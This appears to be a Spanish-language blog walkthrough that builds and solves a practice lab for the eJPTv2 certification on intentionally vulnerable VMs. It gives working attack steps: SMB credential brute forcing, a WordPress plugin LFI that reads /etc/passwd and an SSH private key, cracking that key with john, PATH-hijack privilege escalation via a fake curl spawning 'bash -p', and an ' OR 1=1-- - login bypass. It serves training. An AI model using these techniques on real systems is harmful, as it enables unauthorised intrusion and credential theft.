Laboratorio preparatorio ejptv2 | Xerosec
Bueno bueno bueeeeeenoooo, bienvenidos a todos, hoy vamos a crear y resolver el laboratorio creado por XeroSec en el que pone en práctica diferentes técnicas y herramientas recomendadas para la certificación eJPTv2, al lío.
Creación del laboratorio
Recursos necesarios
Bien os dejo por aquí las máquinas que vamos a utilizar para nuestro laboratorio en VirtualBox:
Symfonos I. Si habéis mirado un poco mi super página increible de la muerte podréis observar que ya utilizamos esta máquina previamente Symfonos 1 y 2, pero en esta ocasión vamos a enfocarlo de otra manera en lugar de seguir el procedimiento de explotación con el que fue ideado(cómo lo realizamos en el artículo mencionado).
Doc. Máquina Linux de la plataforma hackmyvm. En esta plataforma se necesita iniciar sesión.
Experience: Máquina Windows de la plataforma Vulnyx
Kali Linux. No menos importante. En el examen del ejptv2 nos darán una máquina kali a través de Guacamole(por navegador web) sin acceso a internet esto significa que tenemos que utilizar las herramientas preinstaladas del sistema o las que nos dejan preparadas.
Configuración de los adaptadores de red
Importamos todas las máquinas a VirtualBox.
La configuración sería la siguiente:
En el administrador de red vamos a crear una red NAT(red externa) con el siguiente prefijo: 10.0.2.0/24(Por defecto).
A continuación mencionaré los adaptadores que tendrán cada máquina:
- Symfonos 1: Red NAT externa.
- Doc: Red NAT externa.
- Experience: Red NAT externa.
- Simple: Red NAT externa.
- Blog: Red NAT externa y en el segundo adaptador la red interna(Recuerda que la red tiene que tener el mismo nombre para Blog y Gift).
- Gift: Red interna.
En mi caso para añadir dicha configuración a los archivos indicados miré write-ups para descubrir credenciales y así pwnear la máquina.
Configuración extra máquinas
Máquina Symfonos 1
La idea es crear una clave privada(id_rsa) para que se pueda leer desde un local file inclusion para que sea más sencilla la intrusión.
Recomiendo ser generoso con la RAM de la máquina Symfonos porque el servicio de smtp en mi caso no funcionaba bien.
He utilizado el vector de entrada original que utilizamos en la máquina Symfonos 1 para poder acceder al sistema, no voy a explicarlo a fondo porque está ya explicado en la entrada comentada. Los comandos a seguir serían los siguientes:
1 | # Comprobamos que accediendo a la siguiente ruta podemos ver los logs(Utilizar vuestra ip): |
1 |
|
Para el tratamiento de la tty:
1 | script /dev/null -c bash |
Vamos a crear la clave cifrada de tal manera que la podamos crackear con john the ripper más adelante:
1 | cd /home/helios/ |
La clave será 123123(aparece en el rockyou)
Podeis comprobar que tenéis acceso a la clave aprovechándonos del LFI que explotaremos más adelante:
1 | http://10.0.2.6/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/home/helios/.ssh/id_rsa |
Después tendremos que deshabilitar el inicio de sesión con contraseña y habilitar el inicio de sesión con clave. Para ello debemos de retocar el fichero de configuración de ssh, pero para ello tendremos que tener privilegios, así que realicemos la escalada:
1 | cd /home/helios |
Ya podemos modificar el fichero de ssh: /etc/ssh/sshd_config.
Tenemos que descomentar y dejar así las siguientes líneas:
- PasswordAuthentication no
- PubkeyAuthentication yes
- AuthorizedKeysFile .ssh/authorized_keys
Reiniciamos el servicio de ssh:
1 | service ssh restart |
Una vez realizado toda la parte del servidor nos vamos a nuestro equipo atacante.
Podéis comprobar que funciona accediendo con ella.
La pegais en un archivo(id_rsa por ejemplo).
Le dais los permisos
1 | chmod 600 id_rsa |
Accedeis:
1 | ssh -i id_rsa helios@10.0.2.6 |
La contraseña ya la sabéis, 123123.
A continuación para dejar el laboratorio como estaba:
- Borrar el privilegio SUID de la bash
1
2
3bash -p # entras como root
chmod u-s /bin/bash
exit - Borrar el archivo curl creado
- El archivo id_rsa de nuestra máquina atacante
El path no hace falta modificarlo porque solo se actualiza para la sesión actual.
Simple
Simple. La máquina esta “rota” porque la idea es que con los usuarios con los que se va a hacer el compromiso de la máquina tienen aplicada una política de contraseñas que caduca cada x tiempo y la contraseña esta caducada por defecto. Necesitas renovar las credenciales(utilizar Writeups para mirarlo)
Tenemos que abrir la máquina Windows Server, desbloquearla(en mi caso utilice Entrada > Teclado > Insertar Ctrl + Alt + Del
Pulse varias veces escape para poder seleccionar un usuario y puse la contraseña y comentaba que estaba caducada y volví a poner la misma, lo mismo para el usuario bogo:
marcos:SuperPassword
bogo:bogo
Configuración dentro de la máquina Blog
En mi caso en la máquina Blog he obtenido sesión con www-data(Como se realiza de forma normal en dicha entrada).
Una vez dentro he realizado un tratamiento de la tty y la escalada de privilegios:
1 | script /dev/null -c bash |
Configuración a añadir:
1 | auto enp0s8 |
Después reiniciamos con systemctl restart networking y comprobamos que se ha aplicado con ip a. No cierres la consola.
Configución dentro de la máquina Gift
La puedes poner en la red NAT y nos conectamos a ella con las siguientes credenciales root:simple.
En esta máquina la configuración va a ser algo diferente, pero no más difícil, vamos a utilizar el siguiente comando:
1 | setup-interfaces |
Eso sería lo equivalente a esto:
1 | # Máquina Gift |
Apagamos la máquina Gift, la ponemos en la misma red interna(mismo nombre) y la volvemos a encender.
Por último comprobamos que desde la máquina Blog podemos hacer ping a la máquina Gift.
Empezamos el laboratorio
Ahora empezamos la magia, ya hemos preparado todo. Si os queréis quitar de problemas podéis lanzar todas las máquinas y punto, si vuestro equipo físico no tiene esa capacidad, os iré diciendo igualmente las máquinas a usar para que las vayáis desplegando sobre la marcha.
Creación del entorno de trabajo
El examen se realizará con usuario root desde un principio, así que, si queréis ser realistas, convertiros en super usuario y dirigiros al directorio root.
A la vez que realizamos el laboratorio, lo recomendable es crearme un vault en Obsidian para coger notas, la idea es crear un canvas con diferentes notas e interconectarlas.
Descubrimiento de hosts
Aquí sí que os recomiendo que lanceis todas para poder ver todas las máquinas de un vistazo. Si no, solo veréis algunas lanzadas. La primera máquina va a ser Symfonos 1.
Recordar también que esto es un CTF(Capture The Flag) en la certificación eJPTv2 habrá preguntas del siguiente estilo: Cuantos equipos hay en esta red, que puertos abiertos tiene la máquina X?. La fase de reconocimiento es muy importante ya que muchas preguntas van sobre esta.
Bien, para ver que dispositivos tenemos en nuestra red tenemos varias formas de hacerlo:
Usando nmap:
Ping scan con nmap, si estamos conectados con ethernet(normalmente interfaz eth0), nmap utiliza el protocolo arp por defecto porque es más efectivo, no utiliza ping, en caso de estar por conexión Wi-Fi si realiza el ping. Igualmente podemos forzar a que realice este “ping” mezclado con arp.
1 | nmap -sn --send-ip 10.0.2.0/24 -oN ping_scan_nmap |
Para hacer un escaneo de ping también podéis utilizar la herramienta fping:
1 | fping -a -g 10.0.2.0/24 2>/dev/null > fping_hosts |
La parte mala de hacer un escaneo de ping es que los equipos Windows tienen un firewall por defecto y este suele bloquear todas las peticiones ping… PuÑetA.
Lo más fácil para eso es tirar un escaneo utilizando el protocolo arp que funciona muy bien. Para ello lo podemos hacer de las diferentes formas:
En caso de estar cona una interfaz ethernet:
1 | nmap -sn 10.0.2.0/24 -oN ping_scan_arp_nmap |
Podéis utilizar la herramienta arp-scan:
1 | arp-scan -I eth0 --localnet > arp_scan |
También tenéis netdiscover:
1 | netdiscover -r 10.0.2.0/24 |
El siguiente escaneo no aplica mucho a esta certificación pero considero que esta bien saberlo. En ciertas ocasiones no podemos utilizar el protocolo arp y ya sabemos lo que pasa con ICMP…
Pues nmap nos ofrece el TCP Syn Scan que nos permite setear la flag SYN del paquete TCP y así realizar el three-way handshake sin completar la conexión como hariamos con un escaneo Stealth de nmap(-sS) para los puertos. También a eso le podemos indicar que pruebe la conexión con UDP a puertos comunes:
1 | nmap -v --open -sn -PS21,22,80,443,445,3389 -PU53,137,138,139 10.0.2.0/24 --send-ip |
Este escaneo pregunta por los diferentes puertos y si el puerto esta abierto contesta con un SYN, ACK, en cambio, si el puerto está cerrado responde con un RST, ACK, esto se puede comprobar mejor si abris Wireshark. Pero en este caso es detectado igual ya que aunque no tenga el puerto abierto se dan señales de vida y se considera que el equipo está activo. Pero esta es una forma de bypasear esa protección ante ICMP de los firewalls
En este ejemplo que ponemos tantos puertos puede tardar un poco, pero en ciertas ocasiones puedo ser muy útil
PS: Escaneo Stealth(-sS) para hosts. Si tiene cualquiera de los puertos indicados abiertos saldrá el equipo.
PU: Realizamos lo mismo pero para UDP, si, en el mismo comando :o, en este caso escanemos puertos como el de dns(53), 137,138,139(net-bios de Windows)
–send-ip: Prohibe el uso de arp y obliga a nmap a usar paquetes IP(ICMP, TCP SYN, UDP) para descubrir hosts.
Siempre siempre siempre os recomiendo guardaros los diferentes escaneos y después mirar los diferentes archivos por si encontráis una IP que no estaba en el resto.
Los hosts 1,2, y 3 son generados por virtualbox a esos no les hacemos caso.
Escaneamos puertos
En el examen tendremos muchas máquinas que no nos servirán para nada, son solo para “molestar”, tenemos que saber cuáles son nuestros objetivos.
A continuación nos creamos(o nos movemos si ya lo tenemos) un directorio para escaneo de puertos
Podemos realizar un primer escaneo general de las IPs encontradas a ver que tienen:
1 | nmap -sS -F -T4 --open -Pn -n -v 10.0.2.5,6,8-10 |
- -F: Los 100 puertos más comunes.
- 10.0.2.5,6,8-10: Queremos escanear la ip 10.0.2.5, 10.0.2.6, 10.0.2.8, 10.0.2.9, 10.0.2.10
- T4: Nos da igual ser “sigilosos” ya que es un laboratorio sin ningún medio que nos pueda detectar como IPS/IDS…
Una vez ya visto por empieza a que nos estamos enfrentando vamos a realizar un escaneo más profundo para identificar todos los puertos:
1 | nmap -sS -p- -T4 --open -Pn -n -v 10.0.2.5,6,8-10 -oA stealth_scan |
- -oA: Queremos que nos guarde el escaneo en los tres principales formatos de guardado, XML(.xml), NMAP(.nmap) y grepeable(.gnmap)
Escaneo de servicios y sus versiones
Para obtener más información sobre estos servicios y versiones(ya que en este caso nos interesan todos) debemos crear una expresión regular para obtener los puertos:
1 | grep '^[0-9]' stealth_scan.nmap | awk -F '/' '{print $1}' | sort -u -n | xargs | tr ' ' ', ' |
- grep ‘^[0-9]’: Queremos obtener las líneas que empiezan por un número(entre el 0 y el 9)
- awk -F ‘/‘ ‘{print $1}’: Con la herramienta awk para el procesado de texto podemos indicar que nuestro delimitador va a ser ‘/‘ y que solo queremos mostrar el primer argumento(o sea el texto que este antes de encontrarse la primera ‘/‘). También como alternativa puedes usar el comando:
cut -d '/' -f1. - sort -u -n: El texto que queda, en este caso los puertos muchos son repetidos, bien, para evitar esto utilizamos el parámetro -u de unique y después si queremos ordenarlo numéricamente utilizamos
-n. - xargs: Xargs convierte la salida de un comando en el parámetro del siguiente. Por defecto si no se indica nada, xargs convierte los saltos de línea en espacios.
- tr ‘ ‘, ‘,’: tr se encarga de reemplazar un solo carácter, en este caso nos interesa que en lugar de espacios existan ‘,’ para pasárselo posteriormente a nmap.
Acordar siempre de tener todo apuntado o realizar capturas, en mi caso lo he metido a un archivo.
1 | nmap -p22,25,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49670 -Pn --open -sCV 10.0.2.5,6,8-10 -oN service_and_version |
Vamos a ir mapeando nuestras notas en Obsidan, recordar ir haciéndolo a la vez para no dejaros nada atrás. En este caso cabe recalcar que encontramos los nombres de Simple, Symfonos y Experience
🎯 Symfonos
Resumen de lo que vamos a hacer(atención spoiler):
En esta máquina vamos a ver fuerza bruta de directorios web con dirb y dirbuster, enumeración de de smbmap con smbclient, smbmap, crackmapexec, escaneo de Wordpress con WPScan y searchesploit para realizar obtener un LFI. Del LFI obtenemos una id_rsa encriptada que crackearemos con john y una vez dentro realizas un PATH Hijacking para aprovechar un binario SUID.
Enumeración
Vamos a empezar con la máquina Symfonos, en mi caso tiene la IP, 10.0.2.6 y ya que tenemos todo el escaneo resuelto, vamos a analizar lo reportado.
Para ello vamos a crear un directorio targets y dentro un directorio con el nombre 10.0.2.6 para mantener todo más organizado.
Ssh
Lo primero que podemos apreciar es que el servicio ssh está disponible en el puerto 22 y nos indica su versión OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0). Podríamos encontrar con launchpad el tipo de sistema operativo, pero no tenemos conexión a internet en el laboratorio. Todas las versiones inferiores a 7.7 de ssh son vulnerables a user enumeration. Esto es una forma válida de identificar usuarios en el servidor ssh.
Para ello utilizariamos:
1 | searchsploit ssh user enum |
Pero no lo vamos a utilizar porque no es el vector principal de entrada de esta máquina, recordar también que no tenéis conexión a internet, si os falta cualquier dependencia tanto de python 2.7 o 3 no podéis descargáosla.
Así que seguimos mirando, tenemos smtp que es para correo, no nos interesa de momento, el puerto 80(servidor web), podemos ver las tecnologías desde línea de comandos con whatweb, 139 y 445 que nos indica que el servicio smb/samba esta abierto(servicio utilizado para compartir recursos en la red).
Web
Primero vamos a ver que tiene el servicio web, podemos utilizar whatweb:
1 | whatweb http://10.0.2.6 |
En este caso nos aparece que es un apache 2.4.25, Debian Linux, ya más o menos hemos sacado el sistema operativo sin tener que utilizar la opción -O de nmap para identificarlo.
Podemos acceder desde un navegador para ver que pinta tiene:
Al ver la imagen lo primero que se nos puede occurir es realizar algo de estenografía para ver si la imagen contiene algo secreto, como ver si los metadatos de la imagen contienen algo con exiftool, si los bits menos significativos de la imagen ocultan algo, con exiftool también. Aunque no va por aquí.
Podemos inspeccionar el código fuente de la página, abrir la consola y ver si al inspeccionar o en la consola aparece algo(no es la ocasión).
Ver si existe un archivo robots.txt o sitemap(s).xml, que tampoco es el caso(nmap nos hubiera chivado algo).
Pues que podemos hacer más?
Podemos realizar un ataque de fuerza bruta con dirb(ya que la recomienda el INE) para comprobar si encontramos algún directorio o fichero oculto.
Dirb es por línea de comandos, pero también tiene su modo gráfico, dirbuster.
Por línea de comandos:
1 | dirb http://10.0.2.6/ |
- -X .php,.html: Si alguna vez os hace falta podéis indicar que utilice dichas extensiones. Cada palabra del diccionario les añade estas.
- -o output.txt: Guardar el resultado.
- -N 302: Ignorar códigos de estado. En este caso el 302(redirects)
-w: Algunas veces salen avisos y estos paran la ejecucción del programa. Si queremos omitirlos y seguir para alante utilizamos esta opción. - -z 100. Speed delay. No tenemos threads pero podemos controlar los milisegundos para que vaya más lento, tener cuidado que puede saltarse directorios o archivos y dar falsos positivos.
- -r: No recursivo. No queremos que si encuentra un directorio siga enumerando su contenido.
- -v: Nos muestra las páginas que no existen(404)
- -t: Por defecto se añade una “slash” al final y en ocasiones para descubrir directorios puede venir bien(otras no), pero para descubir archivos por ejemplo no.
Si utilizamos dirb NO RECOMIENDO DICCIONARIOS GRANDES como “directory-list-2.3-medium.txt” o parecidos, recomiendo los que estan en el directorio /usr/share/owrdlists/dirb/ ya que esta herramienta de consola tarda mucho en cargar el diccionario, pero si esperas a que cargue funciona correctamente. Utilizarlo con ‘-w’ para cuando salte un warning poder seguir y que no os pare el programa.
Ayuda de la documentación de hackingarticles.in
Podéis utilizar dirbuster que es mediante interfaz gráfica, no tarda en cargar los diccionarios:
En este caso prefiero por interfaz gráfica ya que por consola(dirb) tarda más en cargar el diccionario. Aunque no es recomendada por el INE y tengo sospechas que la nota no solo se basa en las repuestas introducidas, si no de introducir los “comandos adecuados”, por eso mejor ceñirte(dentro de lo que cabe) a las herramientas indicadas.
Total, después de todo esto no encontramos nada. Ya que el manual es el creado por apache y no nos sirve para nada.
Así que pasamos al siguiente servicio.
SMB/Samba
Vamos a intentar listar recursos compartidos mediante el uso de una null session(acceso sin credenciales), para ello vamos a utilizar la herramienta smbclient.
1 | smbclient -L 10.0.2.6 -N |
Pero la desventaja de smbclient es que no nos muestra los permisos de los recursos compartidos. No sabemos a primera vista a que recurso tenemos acceso mediante esta null session, tendríamos que ir probando uno a uno.
Para ello podemos utilizar el comando smbmap. Al utilizarlo me ponía que estableciendo una conexión con el host, pero no la terminaba de establecer y lo cerraba. Para ello he realizado un git clone del repositorio de smbmap y he utilizado la herramienta en lugar de la que venía por defecto en Kali Linux y si funciona. Esto no se podría realizar en el examen porque no tendríamos conexión a internet, pero así veis como funciona:
1 | smbmap -H 10.0.2.6 |
Tenéis otra alternativa como crackmapexec o netexec ya que crackmapexec ha dejado de tener soporte y esta última sí. Aunque en el examen aparezca como crackmapexec:
1 | crackmapexec smb 10.0.2.6 -u '' -p '' --shares |
Y por último, la herramienta que nos va a dar más información va a ser enum4linux. Esto recopila un montón de información “abusando” del protocolo SMB. Claro, hace más ruido que el resto, aunque esto para el eJPT no nos preocupa.
1 | enum4linux 10.0.2.6 |
Pero bueno, a parte de tooda la información que nos ha sacado, este sería el formato de los recursos compartidos de una null session:
Bien, pues una vez vistas las diferentes herramientas vamos a inspeccionar el recurso anonymous. Una combinación bastante buena es usar smbclient con smbmap y/o crackmapexec.
En este caso vamos a utilizar smbclient para utilizar una sesión interactiva dentro de dicho recurso:
1 | smbclient \\10.0.2.6/anonymous -N |
O también podéis introducir un usuario y contraseña cualquiera, debería dejar entrar igual.
Una vez dentro podemos utilizar diferentes comandos, ls, cd, get(para traer archivos), mget *(traer todos los archivos de un directorio).
Uuh, tenemos un usuario y tres posibles contraseñas. Vamos a crearnos dos archivos, users.txt y passwords.txt donde vamos a poner en cada uno la información que tenemos. En usuarios ponemos en minúsculas a zeus y helios(visto con enum4linux y al listar recursos compartidos) y en contraseñas las encontradas.
Los guardamos una línea debajo de otra(como los diccionarios de contraseñas).
Si queréis enumerar usuarios también podéis con crackmapexec y a mi parecer, más fiable que enum4linux:
1 | crackmapexec smb 10.0.2.6 -u '' -p '' --users |
Mmmm, en este caso nos aparece solo helios, no dice nada de zeus, vamos a poner a helios primero en nuestra lista para que en caso que encuentre el usuario y la contraseña válida pare antes.
¿Que pare el que?
Bien, vamos a realizar un ataque de fuerza bruta con crackmapexec para intentar validar el usuario con su contraseña correspondiente, para ello realizamos lo siguiente:
1 | crackmapexec smb 10.0.2.6 -u user.txt -p passwords.txt |
Uuh, parece que hemos encontrado la contraseña de zeus, o sea que este usuario si existe.
Pues bien, recordermos que crackmapexec es una herramienta que ya no tiene soporte y aunque lo tenga todas las herramientas pueden generar falsos positivos(información erronea).
Así que vamos a comprobarlo con otra herramienta como smbmap o smbclient.
Ooh, con smbmap no me aparece nada, que raro:/. Vamos a probar con smbclient. Pero claro, no se que a recursos mirar, vamos a probar con helios.
Bueno, parece que con el usuario “zeus” no tenemos acceso a nada. ¿Entonces?. Y si es la herramienta crackmapexec la que esta fallando?. Recuerda siempre probar a realizar lo mismo con diferentes herramientas ya que todas las herramientas pueden ser susceptibles a fallar.
Vamos a probar con otra herramienta, smbmap:
En este caso smbmap no permite pasarle un diccionario por defecto así que como son pocas contraseñas vamos a ir probándolas manualmente:
1 | ./smbmap.py -H 10.0.2.6 -u helios -p epidioko |
epidioko no nos deja, en cambio, si utilizamos qwerty si aparece información extra:
Uopa, aquí podemos ver que los permisos han cambiado, ya no tenemos solo acceso a anonymous, si no que que también podemos acceder a los recursos print$ y helios. Esto nos deja claro que no siempre podemos confiar en una sola herramienta, incluso en que sea una “importante”.
Así que vamos a intentar acceder como el usuario helios y contraseña qwerty al recurso compartido helios.
1 | smbclient //10.0.2.6/helios -U 'helios' |
La contraseña la introducimos a continuación y podemos ver nuevos recursos, research.txt y todo.txt. Como mencionamos anteriormente nos podemos traer diferentes archivos con mget *.
1 | prompt |
Con prompt nos olvidamos de la confirmación que nos pregunta si queremos traer x archivo y lo mismo con el siguiente y así. Sin esta confirmación todos los archivos serán descargados de golpe.
El archivo todo.txt nos cuenta que hay trabajo en el directorio “/h3l105/“, esto parece una ruta del navegador, pero al acceder vemos un wordpress, pero se ve un poco meh.
No alarmarse, esto es porque los archivos a los que esta intentando llamar este wordpress no los encuentra el navegador. Si hacéis un ctrl+u para ver el código fuente podéis ver que los enlaces apuntes a symfonos.local y claro, nosotros estamos apuntado a la IP. Este concepto se conoce como virtual hosting, para solucionarlo tenemos que dirigirnos a nuestro archivo /etc/hosts(para la resolución de dominios con la ip) y añadir la siguiene línea:
1 | 10.0.2.6 symfonos.local |
Con esto nos encargamos de relacionar la IP indicada al dominio symfonos.local(el que nos aparecía en el código fuente).
Ahora si intentáis acceder desde el navegador con el nombre symfonos.local/h3l105 podéis ver la diferencia en la página web:
Wordpress en h3l105
Nada mas abrir el wordpress, vemos que el post de Hello world es creado por el usuario admin, entonces ya tenemos un usuario.
Si nosotros nos dirigimos a la ruta /wp-admin podemos comprobar si el usuario es válido poniendo su nombre como usuario, según la respuesta, veremos si el usuario es válido o no.
Podemos ver que el mensaje nos dice que la contraseña para dicho usuario es inválida, en cambio, si os inventáis un usuario veréis que el mensaje cambia(Dice usuario inválido).
Uso de WPScan
En este caso al ser un wordpress vamos a utilizar la herramienta WPScan, si fuera un Joomla tendríamos que utilizar joomscan y si fuera un Droopal pues droopescan. En caso de no estar estas herramientas utilizar las disponibles en el laboratorio que sigan el mismo propósito.
WPScan puedes añadirle una clave API para que te descubra vulnerabilidades aunque no sería neceseario en un principio para el examen ni este laboratorio.
Para hacer un escaneo vamos a utilizar el siguiente comando:
1 | wpscan -U admin -P /usr/share/wordlists/rockyou.txt --url http://symfonos.local/h3l105/ |
En este caso no va a encontrar nada, así que podemos cancelar esto. Aunque en el eJPT es muy probable que muchos problemas se resuelvan haciendo fuerza bruta en los diferentes servicios.
Vamos a realizar un escaneo normal del wordpress:
1 | wpscan --url http://symfonos.local/h3l105/ |
Lo interesante aquí es que nos indica los plugins y sus versiones entre otras cosas.
Explotación
Como no hemos introducido la API key no nos muestra si existen vulnerabilidades, entonces, vamos a utilizar searchsploit para buscar vulnerabilidades correspondientes a las versiones de dichos plugins. Dicha herramienta utiliza una base de datos creada a partir de la información existente en exploit-db.
Es recomendable no utilizar el “-“ ya que muchas veces da problemas y puede reportar falsos positivos.
Una vez aquí vemos tres exploits, dos LFI(Local File Inclusion) y una SQL Injection.
Si queremos solo inspeccionar el exploit sin descargárnolo sería de la siguiente manera:
1 | searchsploit -x 40290 |
Esta es una de las formas, también puedes poner el path entero en lugar de solo el identificador.
Para descargartelo se usaría el parámetro -m:
1 | searchsploit -m 40290 |
En el archivo de texto, podemos encontrar entre todos los posibles archivos vulnerables, una prueba de concepto para comprobar el funcionamiento de dicha vulnerabilidad:
También podéis buscar vulnerabilidades del otro plugin, searchsploit wordpress site editor y saldría un LFI y un CSRF(Cross-Site Request Forguery).
Si probamos nosotros a seguir esta ruta podemos comprobar que funciona:
1 | symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd |
Con el archivo /etc/passwd podemos ver que usuarios tienen una shell asociada(permisos de utilizar una shell), esto nos interesa para ver con que usuario podemos entrar al sistema.
Lo siguiente a pensar sería, como podemos pasar de un LFI a un RCE(Remote Command Execution). Siempre en el ejpt tenemos que buscar la manera más fácil de cómo se realizaría algo, en este caso, podemos seguir mirando rutas en el sistema y una ruta potencial es donde se almacena la id_rsa del usuario helios por defecto. Otra forma muy común es Apache Log Poisoning, pero está máquina no va por aquí(Originalmente va por smtp log poisoning, pero recuerda que lo modificamos porque es más difícil que el laboratorio). También puedes encontrar la contraseña en otras rutas o servicios de la máquina como smb.
Si podemos obtener esta id_rsa para conectarnos por ssh ya tendremos ejecucción de comandos.
1 | http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/home/helios/.ssh/id_rsa |
Esta clave nos la guardamos en un fichero. Ya podemos comprobar a simple vista que la clave está cifrada, esto significa que nos pedirá una contraseña más adelante para poder acceder con dicha clave.
Si intentamos acceder por ssh normal helios@10.0.2.6 podéis ver que no os deja, esto omite la posibilidad de hacer fuerza bruta contra este servicio. La única manera de hacerla es con clave privada obtenida. Nosotros hemos obtenido la clave privada(id_rsa), la clave pública(id_rsa.pub) se encarga de verificar la conexión con la clave privada correspondiente. La pública la podemos compartir sin problema, en cambio, con la privada podemos acceder como dicho usuario.
El fichero(en mi caso llamado id_rsa) donde almacenamos la clave tiene que tener permisos de lectura y escritura solo por parte del propietario:
1 | chmod 600 id_rsa |
En caso de no realizar lo siguiente la clave no funcionará. Ahora vamos a utilizarla:
1 | ssh -i id_rsa helios@10.0.2.6 |
ssh2john
Como no tenemos la “passphrase”(contraseña) no podemos iniciar con el usuario helios. Para ello tenemos vamos a romper la clave cifrada con John The Ripper. Este concepto de romper se trata en comparar hashes con una contraseña asociada al hash de la id_rsa. En caso de ser iguales, devolverá la contraseña asociada. Tenéis otras herramientas como hashcat aunque no va la utilizaremos.
Para utilizar ssh2john tenemos que convertir el formato de la clave id_rsa a un formato válido(un hash especial) para que john pueda romper, averiguar, comparar los hashes.
1 | ssh2john id_rsa > hash.txt |
Para crackearlo:
1 | john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt |
Podemos apreciar que John no ha tardado nada en encontrar la contraseña, en este caso es 123123.
Si probamos a conectarnos por ssh ahora y introducir dicha contraseña.
Dejo por aquí anotado el tener en cuenta la reutilización de contraseñas que muchas veces es algo que se pasa encima, pero en ciertas ocasiones se puede dar y nos puede facilitar el trabajo.
Escalada de privilegios
A continuación vamos a realizar una enumeración básica hasta que encontremos alguna manera de convertirnos al usuario root.
Vamos a mostrar una lista de comandos que el usuario puede ejecutar como el usuario root:
1 | sudo -l |
(Command not found)
Ver o listar tareas que se ejecutan en un intervalo regular de tiempo. El crontab.
1 | cat /etc/crontab |
No hay nada, lo que aparece son aplicaciones del sistema por defecto.
Buscar archivos con permisos SUID. Esto significa que cada vez que ejecutemos dichos binarios se ejecuta con los permisos del propietario, en muchos caso root:
1 | find / -perm -4000 -ls 2>/dev/null |
Podemos observar que el archivo /opt/statuscheck no es común. Esto se va viendo bajo la experiencia ya que cuando ves muchos resultados ves los archivos que te suenan y cuáles no.
Vamos a ejecutar el archivo:
Mmm, este output me resulta familiar…
Si vemos de que tipo de archivo se trata con file veremos que que es un binario, LSB 64-bits para Linux.
Que más podemos hacer, podemos intentar ver si con el comando/herramienta strings vemos algo útil.
Listando las cadenas legibles del binario encontramos que se utiliza el comando curl -I H y vemos que no se utiliza una ruta absoluta /usr/bin/curl. Nos vamos a aprovechar de este gran fallo en este fichero que ejecuta comandos el usuario root.
Si vemos el path del sistema. Veremos el orden que utiliza el sistema para encontrar comandos una vez ejecutados. Al principio lo busca en /usr/local/bin, si no lo encuentra ahí en /usr/bin, si no en /bin y así…
1
Pues la idea es modificar el path para que empieze a mirar por donde nosotros querramos y que en dicha ruta exista un comando(archivo de ejecucción) llamado curl y este comando hará lo que nosotros querramos.
Bien, para hacer todo esto vamos a modificar la variable PATH solo para esta sesión:
Indicamos que queremos que el PATH empiece en la ruta /tmp y después continue con el resto del path existente(almacenado en la variable $PATH)
1 | export PATH=/tmp:$PATH |
En la ruta /tmp se borraran los archivos cuando la sesión acabe, igual que la modificación realizada en la variable PATH.
Ahora nos dirigimos al directorio /tmp y creamos un archivo con permisos de ejecucción llamado curl. Dentro de dicho archivo ponemos lo siguiente para que nos de una bash interactiva. Claro, recordar que esto lo ejecuta el usuario root, la bash es de root:
1 | /bin/bash -p |
La flag -p nos permite conservar los privilegios del usuario que ejecuto el comando. Si no nos dará una shell como el usuario helios. Si probáis cualquier otra manera puede que no os deje ya que estamos utilizando el permiso SUID y os de una shell del usuario helios. En cambio, con -p podrás mantener esos privilegios.
Ahora si ejecutamos el binario /opt/statuscheck veremos que accedemos como el usuario root.
🎯 Doc
Resumen de lo que vamos a hacer(atención spoiler):
Vamos a utilizar Nikto para un escaneo de vulnerabilidades, vamos a hacer SQLi con sqlmap, file upload, enumeración de credenciales locales una vez comprometida para escalar privilegios.
Enumeración
Vamos a ver el reporte de servicios y versiones generado anteriormente y en mi caso la máquina Doc tiene la IP 10.0.2.10(Cuando arrancas la máquina lo ves).
Web
Aquí encontramos el puerto 80 abierto con un nginx 1.18.0.
Podemos realizar un whatweb para ver algo más de información:
1 | whatweb http://10.0.2.10 |
Lo siguiente es abrir el navegador. Una vez accedemos, vemos que tenemos el mismo problema que la máquina anterior(virtual hosting), que los recursos no se cargan bien. En este caso ya sabemos como funciona, inspeccionamos el código fuente, encontramos que los recursos apuntan a doc.hmv y lo introducimos al fichero /etc/hosts.
Vamos a utilizar Nikto para realizar un escaneo de vulnerabilidades en la web:
1 | nikto -url http://doc.hmv |
Es recomendable utilizarlo más o menos cuando realizamos el fuzzing de directorios con dirb/dirbuster. Cuando no encuentras nada lo podemos utilizar como comodín(al igual que dirb/dirbuster).
En la captura hemos visto varias rutas llamativas como /config.php /admin/login.php, /.htaccess.
Si abrimos las tres no encontramos nada. En config.php si se podría intentar por medio de un LFI y unos wrapper de php intentar ver su contenido, pero no es el fin de está máquina ni el objetivo del examen.
Explotación
Así que nos dirigimos al panel de login y podemos empezar con un clásico, combinatorias como admin:admin, user:user, guest:guest, admin:admin pero no funcionan.
Podríamos hacer ataques de fuerza bruta con Hydra(método PostForm), pero no es la finalidad de esta máquina.
SQLi
Podemos checkear si existe una posible SQLi, algunas querys básicas para probar serían las siguientes:
1 | ' |
1 | ';-- - |
No cambia nada…
Si ojeamos el código fuente podemos ver diferentes rutas como una “uploads”… nos puede servir más adelante. También tenemos comentado un “forgot-password.html”, pero no funciona en ningún sitio.
Pero y si probamos la típica inyección:
1 | ' OR 1=1-- - |
¿Porque ha funcionado esta query?
Bien, imaginemos la query que se esta utilizando por detrás para verificar el usuario en este caso, ojo, puede ser inyectable en los dos campos o en ninguno, lo recomendable es probar en los dos.
1 | select * FROM users WHERE username = 'sergiky' AND password = 'password'; |
Lo que nosotros podemos controlar se añade en el campo username y password. En caso de que todo esto sea verdad(que el nombre sergiky exista y tenga la password password, pues entrará)
Y si todo esto no esta bien sanitizado podemos introducir caracteres no deseados:
1 | select * FROM users WHERE username = 'sergiky' OR 1=1;-- -' AND password = 'password'; |
Lo que hace este código básico es escaparse del campo del usuario añadiendo una comilla(‘) extra e indicando lo siguiente OR 1=1;-- -. Lo que significa que le añadiremos un operador lógico OR. Ahora en lugar de decir si el usuario y la contraseña esta bien que pase, sería, si el usuario o la siguiente condición y la contraseña esta bien que continue, pero con la diferencia que añadimos -- que es la forma de comentar que tiene sql, así que el resto de la consulta no la vería.
Entonces nos queda algo así:
